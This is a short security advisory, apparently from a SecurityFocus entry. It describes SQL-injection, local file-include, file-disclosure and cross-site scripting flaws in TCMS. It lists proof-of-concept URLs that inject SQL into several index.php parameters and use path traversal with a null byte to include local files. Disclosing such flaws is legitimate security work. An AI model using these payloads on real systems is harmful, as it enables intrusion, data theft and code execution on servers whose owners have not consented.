source: https://www.securityfocus.com/bid/42766/info TCMS is prone to multiple input-validation vulnerabilities, including a local file-include vulnerability, a local file-disclosure vulnerability, multiple SQL-injection vulnerabilities, and multiple cross-site scripting vulnerabilities. An attacker can exploit these vulnerabilities to steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, obtain potentially sensitive information, or execute arbitrary local scripts in the context of the webserver process; other attacks are also possible. http://www.example.com/www/index.php?admin=1§ion=content&action=edit&id=PAGE_ID'+ANY_SQL http://www.example.com/www/index.php?template=home&content=home'+ANY_SQL http://www.example.com/www/index.php?template=forum&action=showReplies&index=1'+ANY_SQL_CODE http://www.example.com/www/index.php?template=blog&id=1'+ANY_SQL_CODE
http://www.example.com/www/index.php?template=./../../../../../../../tmp/test.php%00 http://www.example.com/www/index.php?admin=1§ion=style&action=editStylesheet&name=./../../../../../../../tmp/test.php